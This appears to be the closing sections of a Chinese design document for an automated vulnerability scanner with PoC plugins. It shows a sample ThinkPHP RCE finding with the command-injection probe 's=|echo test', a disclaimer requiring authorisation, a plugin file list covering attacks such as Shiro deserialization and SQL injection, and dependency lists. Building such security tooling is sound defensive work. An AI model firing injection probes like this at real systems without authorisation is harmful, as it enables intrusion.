│ └──────────────┘ └──────────────┘ └──────────────┘ │
│ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ [CRITICAL] ThinkPHP RCE │ │
│ │ URL: http://target.com/index.php?s=1 │ │
│ │ Payload: s=|echo test │ │
│ │ 证据: RCE confirmed │ │
│ │ ───────────────────────────────────────── │ │
│ │ 修复建议: │ │
│ │ 1. 升级ThinkPHP到最新版本 │ │
│ │ 2. 关闭不必要的路由 │ │
│ │ 3. 启用安全防护模块 │ │
│ └─────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────┘

11. 安全声明

11.1 免责声明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌─────────────────────────────────────────────────────────────┐
│ 重要声明 │
├─────────────────────────────────────────────────────────────┤
│ │
│ ⚠️ 授权使用: │
│ 本工具仅供安全研究和学习使用。请在获得目标系统所有者 │
│ 明确授权的情况下使用本工具进行安全测试。 │
│ │
│ ⚠️ 风险提示: │
│ 未经授权对任何系统进行漏洞扫描可能违反当地法律法规, │
│ 使用本工具造成的一切后果由使用者自行承担。 │
│ │
│ ⚠️ 使用限制: │
│ - 请勿用于非法目的 │
│ - 请勿扫描未授权的系统 │
│ - 请遵守目标网站的使用条款 │
│ │
└─────────────────────────────────────────────────────────────┘

11.2 最佳实践

实践 说明
获得授权 在进行任何扫描前,确保获得书面授权
限制范围 明确扫描的范围和深度
数据保护 妥善保管扫描结果,避免泄露
合规审计 保留审计日志,证明合法使用

附录

A. 文件清单

目录 文件 说明
backend/app/core scanner.py 扫描引擎
backend/app/core fingerprint.py 指纹识别
backend/app/core http_client.py HTTP 客户端
backend/app/plugins base.py POC 基类
backend/app/plugins thinkphp_rce.py ThinkPHP RCE
backend/app/plugins shiro_poc.py Shiro 反序列化
backend/app/plugins sqli.py SQL 注入
backend/app/plugins xss.py XSS
backend/app/plugins file_include.py 文件包含
backend/app/plugins cmd_inject.py 命令注入
backend/app/services scanner_service.py 扫描服务
backend/app/services report_service.py 报告服务
backend/app/models init.py 数据模型
frontend/src/views Scan.vue 扫描页面
frontend/src/views Dashboard.vue 仪表盘
frontend/src/views Results.vue 结果页面
frontend/src/views Reports.vue 报告页面

B. 依赖版本

Python 依赖 (requirements.txt):

1
2
3
4
5
6
7
8
9
10
11
12
Flask>=2.3.0
Flask-SocketIO>=5.3.0
Flask-CORS>=4.0.0
requests>=2.31.0
python-socketio>=5.9.0
sqlalchemy>=2.0.0
jinja2>=3.1.0
weasyprint>=60.0
pypdf2>=3.0.0
colorama>=0.4.6
python-dateutil>=2.8.0
pyyaml>=6.0

Node 依赖 (package.json):

1
2
3
4
5
6
7
8
9
{
"vue": "^3.4.0",
"vue-router": "^4.2.0",
"pinia": "^2.1.0",
"element-plus": "^2.5.0",
"axios": "^1.6.0",
"socket.io-client": "^4.7.0",
"echarts": "^5.5.0"
}

文档结束

本报告详细描述了自动化漏洞扫描与 POC 验证工具的设计与实现。如有问题,请联系项目维护者。